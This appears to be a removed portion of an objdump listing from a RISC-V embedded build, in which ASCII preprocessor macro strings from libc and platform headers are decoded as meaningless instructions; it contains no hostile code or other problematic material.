-    61ee:	202d                	jal	6218 <__stack_size+0x5a18>
-    61f0:	2931                	jal	660c <__stack_size+0x5e0c>
-    61f2:	5f00                	lw	s0,56(a4)
-    61f4:	6e5f 6f74 7368      	0x73686f746e5f
-    61fa:	5f28                	lw	a0,120(a4)
-    61fc:	2978                	fld	fa4,208(a0)
-    61fe:	5f20                	lw	s0,120(a4)
-    6200:	625f 7773 7061      	0x70617773625f
-    6206:	3631                	jal	5d12 <__stack_size+0x5512>
-    6208:	5f28                	lw	a0,120(a4)
-    620a:	2978                	fld	fa4,208(a0)
-    620c:	6900                	flw	fs0,16(a0)
-    620e:	7172                	flw	ft2,60(sp)
-    6210:	635f 6379 656c      	0x656c6379635f
-    6216:	6d5f 7861 7200      	0x720078616d5f
-    621c:	6765                	lui	a4,0x19
-    621e:	6176                	flw	ft2,92(sp)
-    6220:	006c                	addi	a1,sp,12
-    6222:	4955                	li	s2,21
-    6224:	544e                	lw	s0,240(sp)
-    6226:	465f 5341 3854      	0x38545341465f
-    622c:	4d5f 5841 5f00      	0x5f0058414d5f
-    6232:	575f 4843 5241      	0x52414843575f
-    6238:	575f 4449 4854      	0x48544449575f
-    623e:	5f5f 3320 0032      	0x3233205f5f
-    6244:	5f525343          	fmadd.q	ft6,ft4,fs5,fa1,unknown
-    6248:	484d                	li	a6,19
-    624a:	4d50                	lw	a2,28(a0)
-    624c:	4e554f43          	fmadd.q	ft10,fa0,ft5,fs1,rmm
-    6250:	4554                	lw	a3,12(a0)
-    6252:	3452                	fld	fs0,304(sp)
-    6254:	2048                	fld	fa0,128(s0)
-    6256:	3032                	fld	ft0,296(sp)
-    6258:	4d00                	lw	s0,24(a0)
-    625a:	5841                	li	a6,-16
-    625c:	435f 4e41 4e4f      	0x4e4f4e41435f
-    6262:	3220                	fld	fs0,96(a2)
-    6264:	3535                	jal	6090 <__stack_size+0x5890>
-    6266:	5f00                	lw	s0,56(a4)
-    6268:	465f 544c 3436      	0x3436544c465f
-    626e:	4d5f 4e49 5f5f      	0x5f5f4e494d5f
-    6274:	3220                	fld	fs0,96(a2)
-    6276:	322e                	fld	ft4,232(sp)
-    6278:	3532                	fld	fa0,296(sp)
-    627a:	3730                	fld	fa2,104(a4)
-    627c:	38353833          	0x38353833
-    6280:	3035                	jal	5aac <__stack_size+0x52ac>
-    6282:	31303237          	lui	tp,0x31303
-    6286:	30333833          	0x30333833
-    628a:	3039                	jal	5a98 <__stack_size+0x5298>
-    628c:	3332                	fld	ft6,296(sp)
-    628e:	3732                	fld	fa4,296(sp)
-    6290:	3731                	jal	619c <__stack_size+0x599c>
-    6292:	34323333          	0x34323333
-    6296:	3430                	fld	fa2,104(s0)
-    6298:	3630                	fld	fa2,104(a2)
-    629a:	2d65                	jal	6952 <__stack_size+0x6152>
-    629c:	46383033          	0x46383033
-    62a0:	3436                	fld	fs0,360(sp)
-    62a2:	5f00                	lw	s0,56(a4)
-    62a4:	585f 4953 565f      	0x565f4953585f
-    62aa:	5349                	li	t1,-14
-    62ac:	4249                	li	tp,18
-    62ae:	454c                	lw	a1,12(a0)
-    62b0:	3020                	fld	fs0,96(s0)
-    62b2:	5f00                	lw	s0,56(a4)
-    62b4:	735f 7274 7466      	0x74667274735f
-    62ba:	6d69                	lui	s10,0x1a
-    62bc:	6c65                	lui	s8,0x19
-    62be:	6b69                	lui	s6,0x1a
-    62c0:	2865                	jal	6378 <__stack_size+0x5b78>
-    62c2:	6d66                	flw	fs10,88(sp)
-    62c4:	6174                	flw	fa3,68(a0)
-    62c6:	6772                	flw	fa4,28(sp)
-    62c8:	662c                	flw	fa1,72(a2)
-    62ca:	7269                	lui	tp,0xffffa
-    62cc:	61767473          	csrrci	s0,0x617,12
-    62d0:	6172                	flw	ft2,28(sp)
-    62d2:	6772                	flw	fa4,28(sp)
-    62d4:	2029                	jal	62de <__stack_size+0x5ade>
-    62d6:	5f5f 7461 7274      	0x727474615f5f
-    62dc:	6269                	lui	tp,0x1a
-    62de:	7475                	lui	s0,0xffffd
-    62e0:	5f65                	li	t5,-7
-    62e2:	285f 5f28 665f      	0x665f5f28285f
-    62e8:	616d726f          	jal	tp,dd8fe <__stack_size+0xdd0fe>
-    62ec:	5f74                	lw	a3,124(a4)
-    62ee:	205f 5f28 735f      	0x735f5f28205f
-    62f4:	7274                	flw	fa3,100(a2)
-    62f6:	7466                	flw	fs0,120(sp)
-    62f8:	6d69                	lui	s10,0x1a
-    62fa:	5f65                	li	t5,-7
-    62fc:	2c5f 6620 746d      	0x746d66202c5f
-    6302:	7261                	lui	tp,0xffff8
-    6304:	66202c67          	0x66202c67
-    6308:	7269                	lui	tp,0xffffa
-    630a:	61767473          	csrrci	s0,0x617,12
-    630e:	6172                	flw	ft2,28(sp)
-    6310:	6772                	flw	fa4,28(sp)
-    6312:	2929                	jal	672c <__stack_size+0x5f2c>
-    6314:	0029                	c.nop	10
-    6316:	5f46                	lw	t5,112(sp)
-    6318:	4c55                	li	s8,21
-    631a:	204b434f          	fnmadd.s	ft6,fs6,ft4,ft4,rmm
-    631e:	0030                	addi	a2,sp,8
-    6320:	5f5f 5450 4452      	0x445254505f5f
-    6326:	4649                	li	a2,18
-    6328:	5f46                	lw	t5,112(sp)
-    632a:	2054                	fld	fa3,128(s0)
-    632c:	5300                	lw	s0,32(a4)
-    632e:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    6332:	4d5f 5841 4600      	0x460058414d5f
-    6338:	5f44                	lw	s1,60(a4)
-    633a:	455a                	lw	a0,148(sp)
-    633c:	4f52                	lw	t5,20(sp)
-    633e:	7028                	flw	fa0,96(s0)
-    6340:	2029                	jal	634a <__stack_size+0x5b4a>
-    6342:	5f28                	lw	a0,120(a4)
-    6344:	655f 7478 6e65      	0x6e657478655f
-    634a:	6e6f6973          	csrrsi	s2,0x6e6,30
-    634e:	5f5f 2820 6f76      	0x6f7628205f5f
-    6354:	6469                	lui	s0,0x1a
-    6356:	2829                	jal	6370 <__stack_size+0x5b70>
-    6358:	6973207b          	0x6973207b
-    635c:	657a                	flw	fa0,156(sp)
-    635e:	745f 5f20 695f      	0x695f5f20745f
-    6364:	6863203b          	0x6863203b
-    6368:	7261                	lui	tp,0xffff8
-    636a:	2a20                	fld	fs0,80(a2)
-    636c:	5f5f 6d74 2070      	0x20706d745f5f
-    6372:	203d                	jal	63a0 <__stack_size+0x5ba0>
-    6374:	6328                	flw	fa0,64(a4)
-    6376:	6168                	flw	fa0,68(a0)
-    6378:	2072                	fld	ft0,280(sp)
-    637a:	292a                	fld	fs2,136(sp)
-    637c:	3b70                	fld	fa2,240(a4)
-    637e:	6620                	flw	fs0,72(a2)
-    6380:	2820726f          	jal	tp,d602 <__stack_size+0xce02>
-    6384:	5f5f 2069 203d      	0x203d20695f5f
-    638a:	3b30                	fld	fa2,112(a4)
-    638c:	5f20                	lw	s0,120(a4)
-    638e:	695f 3c20 7320      	0x73203c20695f
-    6394:	7a69                	lui	s4,0xffffa
-    6396:	6f65                	lui	t5,0x19
-    6398:	2066                	fld	ft0,88(sp)
-    639a:	2a28                	fld	fa0,80(a2)
-    639c:	7028                	flw	fa0,96(s0)
-    639e:	2929                	jal	67b8 <__stack_size+0x5fb8>
-    63a0:	2b2b203b          	0x2b2b203b
-    63a4:	5f5f 2969 2a20      	0x2a2029695f5f
-    63aa:	5f5f 6d74 2b70      	0x2b706d745f5f
-    63b0:	203d202b          	0x203d202b
-    63b4:	3b30                	fld	fa2,112(a4)
-    63b6:	7d20                	flw	fs0,120(a0)
-    63b8:	2929                	jal	67d2 <__stack_size+0x5fd2>
-    63ba:	4500                	lw	s0,8(a0)
-    63bc:	4958                	lw	a4,20(a0)
-    63be:	5f54                	lw	a3,60(a4)
-    63c0:	43435553          	0x43435553
-    63c4:	5345                	li	t1,-15
-    63c6:	00302053          	fadd.s	ft0,ft0,ft3,rdn
-    63ca:	454c                	lw	a1,12(a0)
-    63cc:	5f44                	lw	s1,60(a4)
-    63ce:	204e5247          	fmsub.s	ft4,ft8,ft4,ft4,unknown
-    63d2:	0032                	c.slli	zero,0xc
-    63d4:	4155                	li	sp,21
-    63d6:	5452                	lw	s0,52(sp)
-    63d8:	545f 4658 4649      	0x46494658545f
-    63de:	7830204f          	fnmadd.s	ft0,ft0,ft3,fa5,rdn
-    63e2:	3030                	fld	fa2,96(s0)
-    63e4:	5f00                	lw	s0,56(a4)
-    63e6:	735f 7274 6d66      	0x6d667274735f
-    63ec:	696c6e6f          	jal	t3,cca82 <__stack_size+0xcc282>
-    63f0:	6628656b          	0x6628656b
-    63f4:	746d                	lui	s0,0xffffb
-    63f6:	7261                	lui	tp,0xffff8
-    63f8:	69662c67          	0x69662c67
-    63fc:	7372                	flw	ft6,60(sp)
-    63fe:	7674                	flw	fa3,108(a2)
-    6400:	7261                	lui	tp,0xffff8
-    6402:	7261                	lui	tp,0xffff8
-    6404:	5f202967          	0x5f202967
-    6408:	615f 7474 6972      	0x69727474615f
-    640e:	7562                	flw	fa0,56(sp)
-    6410:	6574                	flw	fa3,76(a0)
-    6412:	5f5f 2828 5f5f      	0x5f5f28285f5f
-    6418:	6f66                	flw	ft10,88(sp)
-    641a:	6d72                	flw	fs10,28(sp)
-    641c:	7461                	lui	s0,0xffff8
-    641e:	5f5f 2820 5f5f      	0x5f5f28205f5f
-    6424:	66727473          	csrrci	s0,0x667,4
-    6428:	6f6d                	lui	t5,0x1b
-    642a:	5f6e                	lw	t5,248(sp)
-    642c:	2c5f 6620 746d      	0x746d66202c5f
-    6432:	7261                	lui	tp,0xffff8
-    6434:	66202c67          	0x66202c67
-    6438:	7269                	lui	tp,0xffffa
-    643a:	61767473          	csrrci	s0,0x617,12
-    643e:	6172                	flw	ft2,28(sp)
-    6440:	6772                	flw	fa4,28(sp)
-    6442:	2929                	jal	685c <__stack_size+0x605c>
-    6444:	0029                	c.nop	10
-    6446:	4e49                	li	t3,18
-    6448:	3354                	fld	fa3,160(a4)
-    644a:	5f32                	lw	t5,44(sp)
-    644c:	494d                	li	s2,19
-    644e:	204e                	fld	ft0,208(sp)
-    6450:	2d28                	fld	fa0,88(a0)
-    6452:	4e49                	li	t3,18
-    6454:	3354                	fld	fa3,160(a4)
-    6456:	5f32                	lw	t5,44(sp)
-    6458:	414d                	li	sp,19
-    645a:	2058                	fld	fa4,128(s0)
-    645c:	202d                	jal	6486 <__stack_size+0x5c86>
-    645e:	2931                	jal	687a <__stack_size+0x607a>
-    6460:	5f00                	lw	s0,56(a4)
-    6462:	4649                	li	a2,18
-    6464:	4e4c                	lw	a1,28(a2)
-    6466:	3130204b          	fnmsub.s	ft0,ft0,fs3,ft6,rdn
-    646a:	3032                	fld	ft0,296(sp)
-    646c:	3030                	fld	fa2,96(s0)
-    646e:	0030                	addi	a2,sp,8
-    6470:	5f5f 444c 4c42      	0x4c42444c5f5f
-    6476:	4d5f 5841 5f5f      	0x5f5f58414d5f
-    647c:	3120                	fld	fs0,96(a0)
-    647e:	312e                	fld	ft2,232(sp)
-    6480:	3938                	fld	fa4,112(a0)
-    6482:	34313337          	lui	t1,0x34313
-    6486:	3539                	jal	6294 <__stack_size+0x5a94>
-    6488:	32373533          	0x32373533
-    648c:	36373133          	0x36373133
-    6490:	3035                	jal	5cbc <__stack_size+0x54bc>
-    6492:	3538                	fld	fa4,104(a0)
-    6494:	33393537          	lui	a0,0x33393
-    6498:	3632                	fld	fa2,296(sp)
-    649a:	3236                	fld	ft4,360(sp)
-    649c:	3038                	fld	fa4,96(s0)
-    649e:	3730                	fld	fa2,104(a4)
-    64a0:	3230                	fld	fa2,96(a2)
-    64a2:	2b65                	jal	6a5a <__stack_size+0x625a>
-    64a4:	3934                	fld	fa3,112(a0)
-    64a6:	004c3233          	sltu	tp,s8,tp
-    64aa:	4955                	li	s2,21
-    64ac:	544e                	lw	s0,240(sp)
-    64ae:	5f38                	lw	a4,120(a4)
-    64b0:	525f0043          	fmadd.d	ft0,ft10,ft5,fa0,rne
-    64b4:	4545                	li	a0,17
-    64b6:	544e                	lw	s0,240(sp)
-    64b8:	575f 5243 4f54      	0x4f545243575f
-    64be:	424d                	li	tp,19
-    64c0:	535f 4154 4554      	0x45544154535f
-    64c6:	7028                	flw	fa0,96(s0)
-    64c8:	7274                	flw	fa3,100(a2)
-    64ca:	2029                	jal	64d4 <__stack_size+0x5cd4>
-    64cc:	2828                	fld	fa0,80(s0)
-    64ce:	7470                	flw	fa2,108(s0)
-    64d0:	2972                	fld	fs2,280(sp)
-    64d2:	3e2d                	jal	600c <__stack_size+0x580c>
-    64d4:	6e5f 7765 5f2e      	0x5f2e77656e5f
-    64da:	6572                	flw	fa0,28(sp)
-    64dc:	6e65                	lui	t3,0x19
-    64de:	2e74                	fld	fa3,216(a2)
-    64e0:	775f 7263 6f74      	0x6f747263775f
-    64e6:	626d                	lui	tp,0x1b
-    64e8:	735f 6174 6574      	0x65746174735f
-    64ee:	0029                	c.nop	10
-    64f0:	766d                	lui	a2,0xffffb
-    64f2:	6e65                	lui	t3,0x19
-    64f4:	6f64                	flw	fs1,92(a4)
-    64f6:	6972                	flw	fs2,28(sp)
-    64f8:	0064                	addi	s1,sp,12
-    64fa:	5f5f 4953 455a      	0x455a49535f5f
-    6500:	545f 0020 5f5f      	0x5f5f0020545f
-    6506:	52414843          	fmadd.d	fa6,ft2,ft4,fa0,rmm
-    650a:	545f3233          	0x545f3233
-    650e:	5059                	c.li	zero,-10
-    6510:	5f45                	li	t5,-15
-    6512:	205f 6f6c 676e      	0x676e6f6c205f
-    6518:	7520                	flw	fs0,104(a0)
-    651a:	736e                	flw	ft6,248(sp)
-    651c:	6769                	lui	a4,0x1a
-    651e:	656e                	flw	fa0,216(sp)
-    6520:	2064                	fld	fs1,192(s0)
-    6522:	6e69                	lui	t3,0x1a
-    6524:	0074                	addi	a3,sp,12
-    6526:	5f474953          	0x5f474953
-    652a:	5441                	li	s0,-16
-    652c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6530:	4d5f 4e49 5f20      	0x5f204e494d5f
-    6536:	535f 4749 415f      	0x415f4749535f
-    653c:	4f54                	lw	a3,28(a4)
-    653e:	494d                	li	s2,19
-    6540:	494d5f43          	fmadd.s	ft10,fs10,fs4,fs1,unknown
-    6544:	5f4e                	lw	t5,240(sp)
-    6546:	005f 5f5f 6f4c      	0x6f4c5f5f005f
-    654c:	676e                	flw	fa4,216(sp)
-    654e:	6c20                	flw	fs0,88(s0)
-    6550:	00676e6f          	jal	t3,7c556 <__stack_size+0x7bd56>
-    6554:	5f5f 4347 5f43      	0x5f4343475f5f
-    655a:	5441                	li	s0,-16
-    655c:	43494d4f          	fnmadd.d	fs10,fs2,fs4,fs0,rmm
-    6560:	535f 4f48 5452      	0x54524f48535f
-    6566:	4c5f 434f 5f4b      	0x5f4b434f4c5f
-    656c:	5246                	lw	tp,112(sp)
-    656e:	4545                	li	a0,17
-    6570:	3120                	fld	fs0,96(a0)
-    6572:	6d00                	flw	fs0,24(a0)
-    6574:	7369                	lui	t1,0xffffa
-    6576:	5f61                	li	t5,-8
-    6578:	00727473          	csrrci	s0,0x7,4
-    657c:	475f 4343 4c5f      	0x4c5f4343475f
-    6582:	4d49                	li	s10,18
-    6584:	5449                	li	s0,-14
-    6586:	5f485f53          	0x5f485f53
-    658a:	0020                	addi	s0,sp,8
-    658c:	5f46                	lw	t5,112(sp)
-    658e:	46544547          	fmsub.q	fa0,fs0,ft5,fs0,rmm
-    6592:	2044                	fld	fs1,128(s0)
-    6594:	0031                	c.nop	12
-    6596:	535f 5f43 5341      	0x53415f43535f
-    659c:	4e59                	li	t3,22
-    659e:	4f524843          	fmadd.q	fa6,ft4,fs5,fs1,rmm
-    65a2:	4f4e                	lw	t5,208(sp)
-    65a4:	5355                	li	t1,-11
-    65a6:	495f 204f 3132      	0x3132204f495f
-    65ac:	5f00                	lw	s0,56(a4)
-    65ae:	5f535953          	0x5f535953
-    65b2:	45484353          	0x45484353
-    65b6:	5f44                	lw	s1,60(a4)
-    65b8:	5f48                	lw	a0,60(a4)
-    65ba:	0020                	addi	s0,sp,8
-    65bc:	5f5f 4953 455a      	0x455a49535f5f
-    65c2:	505f464f          	fnmadd.s	fa2,ft10,ft5,fa0,rmm
-    65c6:	544e494f          	0x544e494f
-    65ca:	5245                	li	tp,-15
-    65cc:	5f5f 3420 4100      	0x410034205f5f
-    65d2:	4c4c                	lw	a1,28(s0)
-    65d4:	4550                	lw	a2,12(a0)
-    65d6:	4d52                	lw	s10,20(sp)
-    65d8:	53282053          	0x53282053
-    65dc:	495f 5553 4449      	0x44495553495f
-    65e2:	7c20                	flw	fs0,120(s0)
-    65e4:	5320                	lw	s0,96(a4)
-    65e6:	495f 4753 4449      	0x44494753495f
-    65ec:	7c20                	flw	fs0,120(s0)
-    65ee:	5320                	lw	s0,96(a4)
-    65f0:	495f 5653 5854      	0x58545653495f
-    65f6:	7c20                	flw	fs0,120(s0)
-    65f8:	5320                	lw	s0,96(a4)
-    65fa:	495f 5752 5558      	0x55585752495f
-    6600:	7c20                	flw	fs0,120(s0)
-    6602:	5320                	lw	s0,96(a4)
-    6604:	495f 5752 4758      	0x47585752495f
-    660a:	7c20                	flw	fs0,120(s0)
-    660c:	5320                	lw	s0,96(a4)
-    660e:	495f 5752 4f58      	0x4f585752495f
-    6614:	0029                	c.nop	10
-    6616:	74727473          	csrrci	s0,0x747,4
-    661a:	5f006b6f          	jal	s6,cc0a <__stack_size+0xc40a>
-    661e:	705f 7275 2065      	0x20657275705f
-    6624:	5f5f 7461 7274      	0x727474615f5f
-    662a:	6269                	lui	tp,0x1a
-    662c:	7475                	lui	s0,0xffffd
-    662e:	5f65                	li	t5,-7
-    6630:	285f 5f28 705f      	0x705f5f28285f
-    6636:	7275                	lui	tp,0xffffd
-    6638:	5f65                	li	t5,-7
-    663a:	295f 0029 5f5f      	0x5f5f0029295f
-    6640:	4c46                	lw	s8,80(sp)
-    6642:	3154                	fld	fa3,160(a0)
-    6644:	3832                	fld	fa6,296(sp)
-    6646:	4e5f 524f 5f4d      	0x5f4d524f4e5f
-    664c:	414d                	li	sp,19
-    664e:	5f58                	lw	a4,60(a4)
-    6650:	205f 2e31 3831      	0x38312e31205f
-    6656:	3739                	jal	6564 <__stack_size+0x5d64>
-    6658:	39343133          	0x39343133
-    665c:	3335                	jal	6388 <__stack_size+0x5b88>
-    665e:	3735                	jal	658a <__stack_size+0x5d8a>
-    6660:	3332                	fld	ft6,296(sp)
-    6662:	3731                	jal	656e <__stack_size+0x5d6e>
-    6664:	3536                	fld	fa0,360(sp)
-    6666:	3830                	fld	fa2,112(s0)
-    6668:	3735                	jal	6594 <__stack_size+0x5d94>
-    666a:	3935                	jal	62a6 <__stack_size+0x5aa6>
-    666c:	36363233          	0x36363233
-    6670:	3832                	fld	fa6,296(sp)
-    6672:	3030                	fld	fa2,96(s0)
-    6674:	65323037          	lui	zero,0x65323
-    6678:	3339342b          	0x3339342b
-    667c:	4632                	lw	a2,12(sp)
-    667e:	3231                	jal	5f8a <__stack_size+0x578a>
-    6680:	0038                	addi	a4,sp,8
-    6682:	575f 4e41 5f54      	0x5f544e41575f
-    6688:	4f49                	li	t5,18
-    668a:	4c5f 4e4f 5f47      	0x5f474e4f4c5f
-    6690:	4f44                	lw	s1,28(a4)
-    6692:	4255                	li	tp,21
-    6694:	454c                	lw	a1,12(a0)
-    6696:	3120                	fld	fs0,96(a0)
-    6698:	4d00                	lw	s0,24(a0)
-    669a:	4f5a                	lw	t5,148(sp)
-    669c:	454e                	lw	a0,208(sp)
-    669e:	525f 5444 4d49      	0x4d495444525f
-    66a4:	2845                	jal	6754 <__stack_size+0x5f54>
-    66a6:	2029                	jal	66b0 <__stack_size+0x5eb0>
-    66a8:	7b28                	flw	fa0,112(a4)
-    66aa:	7220                	flw	fs0,96(a2)
-    66ac:	6765                	lui	a4,0x19
-    66ae:	7369                	lui	t1,0xffffa
-    66b0:	6574                	flw	fa3,76(a0)
-    66b2:	2072                	fld	ft0,280(sp)
-    66b4:	6975                	lui	s2,0x1d
-    66b6:	746e                	flw	fs0,248(sp)
-    66b8:	745f3233          	0x745f3233
-    66bc:	6120                	flw	fs0,64(a0)
-    66be:	2030                	fld	fa2,64(s0)
-    66c0:	7361                	lui	t1,0xffff8
-    66c2:	206d                	jal	676c <__stack_size+0x5f6c>
-    66c4:	2228                	fld	fa0,64(a2)
-    66c6:	3061                	jal	5f4e <__stack_size+0x574e>
-    66c8:	2922                	fld	fs2,8(sp)
-    66ca:	202c                	fld	fa1,64(s0)
-    66cc:	3161                	jal	6354 <__stack_size+0x5b54>
-    66ce:	6120                	flw	fs0,64(a0)
-    66d0:	28206d73          	csrrsi	s10,0x282,0
-    66d4:	6122                	flw	ft2,8(sp)
-    66d6:	2231                	jal	67e2 <__stack_size+0x5fe2>
-    66d8:	3b29                	jal	63f2 <__stack_size+0x5bf2>
-    66da:	6120                	flw	fs0,64(a0)
-    66dc:	76206d73          	csrrsi	s10,0x762,0
-    66e0:	74616c6f          	jal	s8,1ce26 <__stack_size+0x1c626>
-    66e4:	6c69                	lui	s8,0x1a
-    66e6:	2065                	jal	678e <__stack_size+0x5f8e>
-    66e8:	2228                	fld	fa0,64(a2)
-    66ea:	696c                	flw	fa1,84(a0)
-    66ec:	6120                	flw	fs0,64(a0)
-    66ee:	2c30                	fld	fa2,88(s0)
-    66f0:	3420                	fld	fs0,104(s0)
-    66f2:	6d20223b          	0x6d20223b
-    66f6:	6f7a                	flw	ft10,156(sp)
-    66f8:	656e                	flw	fa0,216(sp)
-    66fa:	3a20                	fld	fs0,112(a2)
-    66fc:	2220                	fld	fs0,64(a2)
-    66fe:	723d                	lui	tp,0xfffef
-    6700:	2822                	fld	fa6,8(sp)
-    6702:	3061                	jal	5f8a <__stack_size+0x578a>
-    6704:	2c29                	jal	691e <__stack_size+0x611e>
-    6706:	2220                	fld	fs0,64(a2)
-    6708:	723d                	lui	tp,0xfffef
-    670a:	2822                	fld	fa6,8(sp)
-    670c:	3161                	jal	6394 <__stack_size+0x5b94>
-    670e:	2929                	jal	6b28 <__stack_size+0x6328>
-    6710:	7528203b          	0x7528203b
-    6714:	6e69                	lui	t3,0x1a
-    6716:	3674                	fld	fa3,232(a2)
-    6718:	5f34                	lw	a3,120(a4)
-    671a:	2974                	fld	fa3,208(a0)
-    671c:	3161                	jal	63a4 <__stack_size+0x5ba4>
-    671e:	3c3c                	fld	fa5,120(s0)
-    6720:	7c203233          	0x7c203233
-    6724:	6120                	flw	fs0,64(a0)
-    6726:	3b30                	fld	fa2,112(a4)
-    6728:	7d20                	flw	fs0,120(a0)
-    672a:	0029                	c.nop	10
-    672c:	4955                	li	s2,21
-    672e:	544e                	lw	s0,240(sp)
-    6730:	4c5f 4145 5453      	0x545341454c5f
-    6736:	3436                	fld	fs0,360(sp)
-    6738:	4d5f 5841 5f20      	0x5f2058414d5f
-    673e:	555f 4e49 5f54      	0x5f544e49555f
-    6744:	454c                	lw	a1,12(a0)
-    6746:	5341                	li	t1,-16
-    6748:	3654                	fld	fa3,168(a2)
-    674a:	5f34                	lw	a3,120(a4)
-    674c:	414d                	li	sp,19
-    674e:	5f58                	lw	a4,60(a4)
-    6750:	005f 4d5f 444f      	0x444f4d5f005f
-    6756:	5f45                	li	t5,-15
-    6758:	5f54                	lw	a3,60(a4)
-    675a:	4544                	lw	s1,12(a0)
-    675c:	52414c43          	fmadd.d	fs8,ft2,ft4,fa0,rmm
-    6760:	4445                	li	s0,17
-    6762:	0020                	addi	s0,sp,8
-    6764:	545f 535f 5a49      	0x5a49535f545f
-    676a:	2045                	jal	680a <__stack_size+0x600a>
-    676c:	4600                	lw	s0,8(a2)
-    676e:	424e                	lw	tp,208(sp)
-    6770:	4f49                	li	t5,18
-    6772:	5f20                	lw	s0,120(a4)
-    6774:	4e46                	lw	t3,80(sp)
-    6776:	4942                	lw	s2,16(sp)
-    6778:	7a74004f          	fnmadd.d	ft0,fs0,ft7,fa5,rne
-    677c:	616e                	flw	ft2,216(sp)
-    677e:	656d                	lui	a0,0x1b
-    6780:	5f20                	lw	s0,120(a4)
-    6782:	7a74                	flw	fa3,116(a2)
-    6784:	616e                	flw	ft2,216(sp)
-    6786:	656d                	lui	a0,0x1b
-    6788:	5f00                	lw	s0,56(a4)
-    678a:	495f 544e 5450      	0x5450544e495f
-    6790:	5f52                	lw	t5,52(sp)
-    6792:	54444957          	0x54444957
-    6796:	5f48                	lw	a0,60(a4)
-    6798:	205f 3233 5f00      	0x5f003233205f
-    679e:	535f4353          	0x535f4353
-    67a2:	4d45                	li	s10,17
-    67a4:	5041                	c.li	zero,-16
-    67a6:	4f48                	lw	a0,28(a4)
-    67a8:	4552                	lw	a0,20(sp)
-    67aa:	30332053          	0x30332053
-    67ae:	5f00                	lw	s0,56(a4)
-    67b0:	585f4353          	0x585f4353
-    67b4:	4e45504f          	fnmadd.q	ft0,fa0,ft4,fs1,unknown
-    67b8:	535f 5254 4145      	0x41455254535f
-    67be:	534d                	li	t1,-13
-    67c0:	3120                	fld	fs0,96(a0)
-    67c2:	3430                	fld	fa2,104(s0)
-    67c4:	5f00                	lw	s0,56(a4)
-    67c6:	4552                	lw	a0,20(sp)
-    67c8:	4e45                	li	t3,17
-    67ca:	5f54                	lw	a3,60(a4)
-    67cc:	54525453          	0x54525453
-    67d0:	4c5f4b4f          	0x4c5f4b4f
-    67d4:	5341                	li	t1,-16
-    67d6:	2854                	fld	fa3,144(s0)
-    67d8:	7470                	flw	fa2,108(s0)
-    67da:	2972                	fld	fs2,280(sp)
-    67dc:	2820                	fld	fs0,80(s0)
-    67de:	7028                	flw	fa0,96(s0)
-    67e0:	7274                	flw	fa3,100(a2)
-    67e2:	2d29                	jal	6dfc <__stack_size+0x65fc>
-    67e4:	5f3e                	lw	t5,236(sp)
-    67e6:	656e                	flw	fa0,216(sp)
-    67e8:	725f2e77          	0x725f2e77
-    67ec:	6565                	lui	a0,0x19
-    67ee:	746e                	flw	fs0,248(sp)
-    67f0:	5f2e                	lw	t5,232(sp)
-    67f2:	74727473          	csrrci	s0,0x747,4
-    67f6:	6c5f6b6f          	jal	s6,fd6ba <__stack_size+0xfceba>
-    67fa:	7361                	lui	t1,0xffff8
-    67fc:	2974                	fld	fa3,208(a0)
-    67fe:	5f00                	lw	s0,56(a4)
-    6800:	5f5f 6e69 5f74      	0x5f746e695f5f
-    6806:	656c                	flw	fa1,76(a0)
-    6808:	7361                	lui	t1,0xffff8
-    680a:	3874                	fld	fa3,240(s0)
-    680c:	745f 645f 6665      	0x6665645f745f
-    6812:	6e69                	lui	t3,0x1a
-    6814:	6465                	lui	s0,0x19
-    6816:	3120                	fld	fs0,96(a0)
-    6818:	4900                	lw	s0,16(a0)
-    681a:	544e                	lw	s0,240(sp)
-    681c:	5450                	lw	a2,44(s0)
-    681e:	5f52                	lw	t5,52(sp)
-    6820:	494d                	li	s2,19
-    6822:	004e                	c.slli	zero,0x13
-    6824:	5f5f 6c63 636f      	0x636f6c635f5f
-    682a:	5f745f6b          	0x5f745f6b
-    682e:	6564                	flw	fs1,76(a0)
-    6830:	6966                	flw	fs2,88(sp)
-    6832:	656e                	flw	fa0,216(sp)
-    6834:	2064                	fld	fs1,192(s0)
-    6836:	5f00                	lw	s0,56(a4)
-    6838:	465f 544c 3436      	0x3436544c465f
-    683e:	4d5f 4e41 5f54      	0x5f544e414d5f
-    6844:	4944                	lw	s1,20(a0)
-    6846:	205f5f47          	fmsub.s	ft10,ft10,ft5,ft4,unknown
-    684a:	3335                	jal	6576 <__stack_size+0x5d76>
-    684c:	5f00                	lw	s0,56(a4)
-    684e:	725f 7365 6c75      	0x6c757365725f
-    6854:	5f74                	lw	a3,124(a4)
-    6856:	7375                	lui	t1,0xffffd
-    6858:	5f65                	li	t5,-7
-    685a:	63656863          	bltu	a0,s6,6e8a <__stack_size+0x668a>
-    685e:	5f5f206b          	0x5f5f206b
-    6862:	7461                	lui	s0,0xffff8
-    6864:	7274                	flw	fa3,100(a2)
-    6866:	6269                	lui	tp,0x1a
-    6868:	7475                	lui	s0,0xffffd
-    686a:	5f65                	li	t5,-7
-    686c:	285f 5f28 775f      	0x775f5f28285f
-    6872:	7261                	lui	tp,0xffff8
-    6874:	5f6e                	lw	t5,248(sp)
-    6876:	6e75                	lui	t3,0x1d
-    6878:	7375                	lui	t1,0xffffd
-    687a:	6465                	lui	s0,0x19
-    687c:	725f 7365 6c75      	0x6c757365725f
-    6882:	5f74                	lw	a3,124(a4)
-    6884:	295f 0029 5f5f      	0x5f5f0029295f
-    688a:	41484357          	0x41484357
-    688e:	5f52                	lw	t5,52(sp)
-    6890:	414d                	li	sp,19
-    6892:	5f58                	lw	a4,60(a4)
-    6894:	205f 7830 6637      	0x66377830205f
-    689a:	6666                	flw	fa2,88(sp)
-    689c:	6666                	flw	fa2,88(sp)
-    689e:	6666                	flw	fa2,88(sp)
-    68a0:	5f00                	lw	s0,56(a4)
-    68a2:	475f 554e 5f43      	0x5f43554e475f
-    68a8:	5250                	lw	a2,36(a2)
-    68aa:	5245                	li	tp,-15
-    68ac:	5145                	li	sp,-15
-    68ae:	6d28                	flw	fa0,88(a0)
-    68b0:	6a61                	lui	s4,0x18
-    68b2:	6d2c                	flw	fa1,88(a0)
-    68b4:	6e69                	lui	t3,0x1a
-    68b6:	2029                	jal	68c0 <__stack_size+0x60c0>
-    68b8:	2828                	fld	fa0,80(s0)
-    68ba:	5f5f 4e47 4355      	0x43554e475f5f
-    68c0:	5f5f 3c20 203c      	0x203c3c205f5f
-    68c6:	3631                	jal	63d2 <__stack_size+0x5bd2>
-    68c8:	2029                	jal	68d2 <__stack_size+0x60d2>
